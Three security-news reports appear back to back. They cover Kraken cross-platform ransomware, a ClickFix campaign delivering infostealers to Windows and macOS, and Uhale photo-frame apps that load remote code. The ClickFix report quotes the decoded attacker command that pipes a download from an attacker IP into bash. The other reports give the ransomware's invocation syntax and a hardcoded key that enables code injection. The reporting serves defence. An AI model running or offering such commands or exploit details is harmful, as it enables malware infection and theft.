In August 2025, a new ransomware threat emerged with capabilities that fundamentally changed how organizations should approach enterprise security.

Kraken, a Russian-speaking cybercriminal group, began executing sophisticated attacks targeting large organizations across multiple continents.

What makes Kraken particularly dangerous is its ability to attack Windows, Linux, and VMware ESXi systems with platform-specific tools, making it one of the first truly cross-platform ransomware threats to gain widespread notoriety in enterprise circles.

The Kraken group appears to be connected to the HelloKitty ransomware operation, with security researchers suspecting the group emerged from the remnants of that previous criminal organization.

This connection becomes evident through shared ransom note filenames and explicit references on the group’s leak site.

In September 2025, Kraken announced a new underground forum called “The Last Haven Board,” designed to create a secure communication hub for the cybercriminal community.

Notably, HelloKitty operators announced their support for this new platform, solidifying the link between these groups.

Cisco Talos security analysts identified Kraken conducting double-extortion attacks in which victims are both encrypted and threatened with data publication.

The group employs a sophisticated multi-stage attack methodology that begins with SMB vulnerability exploitation on internet-exposed servers.

Once inside a system, attackers steal privileged credentials and use them to maintain persistent access through Remote Desktop Protocol connections.

To establish long-term presence, attackers deploy Cloudflared for creating reverse tunnels and SSH Filesystem tools for data exfiltration.

Before deploying encryption, the ransomware performs a unique benchmarking operation to measure how fast it can operate on the victim’s machine without causing immediate detection through system resource exhaustion.

Encryption and Command-Line Flexibility

Kraken’s technical sophistication becomes apparent through its extensive command-line options. The ransomware uses RSA-4096 and ChaCha20 encryption algorithms, providing strong cryptographic protection.

Attackers can customize attacks using parameters like timeout delays, file size limits, and encryption depth selections.

For Windows systems, the command format follows: Encryptor.exe –key <32-byte key> -path <targeted path> -t.

Linux and ESXi versions use ELF binaries with options like daemon mode execution and SSH remote capabilities.

The ransomware features partial and full encryption modes, allowing attackers to optimize between encryption speed and maximum damage.

Notably, Kraken actively encrypts SQL databases and network shares while automatically skipping critical system files and Program Files directories to maintain victim system functionality for ransom negotiations.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Kraken Cross-Platform Ransomware Attacking Windows, Linux, and VMware ESXi Systems in Enterprise Environments appeared first on Cyber Security News.

A growing social engineering technique called ClickFix has emerged as one of the most successful methods for distributing malware in recent months.

This attack tricks users into copying and running commands directly into their operating systems command line interface, ultimately installing dangerous information-stealing software.

The technique has proven remarkably effective because it bypasses traditional email security solutions and operates within browser sandboxes where most security tools cannot detect the malicious activity.

The attack typically begins when users search for cracked software through search engines. Cybercriminals create fake landing pages hosted on trusted platforms like Google Colab, Drive, Sites, and Groups to avoid being blocked by security systems.

These pages act as initial contact points that redirect victims based on their operating system. Windows users receive the ACR stealer, while macOS users are redirected to pages that deploy the Odyssey infostealer.

Intel471 security researchers identified this campaign in June 2025 during proactive malware hunting operations.

The investigation revealed that threat actors were successfully targeting both major operating systems through a single infrastructure.

What makes this attack particularly concerning is its fileless execution. When victims paste the commands, malicious payloads are pulled directly into memory, making them invisible to traditional security software.

Infection Mechanism and Technical Execution

For Windows users, the attack chain guides victims through several redirection points before reaching a MEGA file hosting page containing a password-protected ZIP archive.

Inside this archive sits the ACR stealer disguised as setup.exe. The malware not only steals credentials and personal data but also serves as a loader, installing additional threats such as SharkClipper, a cryptocurrency clipboard hijacker.

MacOS users encounter a different approach that involves a fake Cloudflare security check page. When users attempt to copy what appears to be a verification string, they actually copy a Base64-encoded shell command.

Once decoded, this command executes:-

curl - s http://45.135.232.33/droberto39774 | nohup bash

This command silently downloads and runs the Odyssey stealer, which harvests passwords, cookies, cryptocurrency wallets, Apple Notes, Keychain entries, and system data, then compresses everything into out.zip for exfiltration.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New ClickFix Attack Targeting Windows and macOS Users to Deploy Infostealer Malware appeared first on Cyber Security News.

Digital photo frames have become a standard household device for displaying family memories, and most users assume these simple gadgets prioritize simplicity over complexity.

However, a troubling discovery reveals that specific Android photo frames running the Uhale app automatically download and execute malware as soon as they boot.

Quokka security analysts noted or identified this critical issue after examining popular digital picture frame models sold on major retail platforms.

These frames, often marketed under brands like BIGASUO, WONNIE, and MaxAngel, share a common vulnerability that puts millions of users at risk.

The affected devices are vulnerable to automatic malware installation without user interaction.

Security analysts at Quokka detected that the security concern extends far beyond simple data theft. These vulnerabilities create complete pathways for attackers to gain full control of the device with minimal effort.

The malware discovered during the analysis is associated with the Vo1d botnet and the Mzmess malware family, which have already infected an estimated 1.6 million Android TV devices worldwide.

When connected to a home or office network, a compromised frame can serve as an entry point for lateral attacks on other devices, potentially leading to widespread network compromise and data exposure.

The root of the problem lies in how the Uhale application handles security at the software level. Rather than implementing modern security standards, the developers relied on outdated Android 6.0 with disabled security features and hardcoded encryption keys embedded directly in the app code.

This combination creates multiple vulnerability pathways that skilled attackers can exploit through simple network interception techniques.

The implications are severe because these frames typically remain continuously connected to networks, providing attackers with persistent access opportunities.

Remote Code Execution Through Insecure Trust Management

The primary exploitation vector involves a weakness in how the Uhale app validates security certificates during network communications.

When a frame boots up and checks for app updates, it communicates with servers at dcsdkos.dc16888888.com over HTTPS.

However, the app implements a custom security validator that accepts any certificate without proper verification.

This oversight allows attackers positioned on the same network to intercept these connections and inject malicious code.

The insecure trust manager is implemented in the com.nasa.memory.tool.lf class. Instead of validating that communication partners are legitimate, the checkServerTrusted method simply returns empty values without verifying them.

When combined with a hardcoded encryption key DE252F9AC7624D723212E7E70972134D stored in the app, attackers can craft responses that the device will accept and decrypt.

The response contains a download link to a Dalvik Executable file, which the app then loads and executes using Java reflection techniques.

The execution occurs via the DexClassLoader, which dynamically loads code from external sources.

The app creates an instance of this class loader pointing to downloaded JAR files stored in the datadatacom.zeasn.framefiles.honor directory.

It then searches for a predefined entry-point method called com.sun.galaxy.lib.OceanInit.init is invoked automatically.

Since the Uhale app operates with system-level privileges and the devices have SELinux disabled and su commands available, the injected code immediately runs with unrestricted root access.

This allows attackers to execute arbitrary shell commands, install persistent malware, modify system files, or harvest sensitive data from other applications.

The malware samples identified included multiple APK packages classified by Quokka’s behavioral analysis engine as spyware with 100 percent confidence.

These included com.app.mz.s101, com.app.mz.popan, and several others specifically designed for surveillance and system control purposes.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Android Photo Frames App Downloads Malware, Giving Hackers Control of The Device Without User Interaction appeared first on Cyber Security News.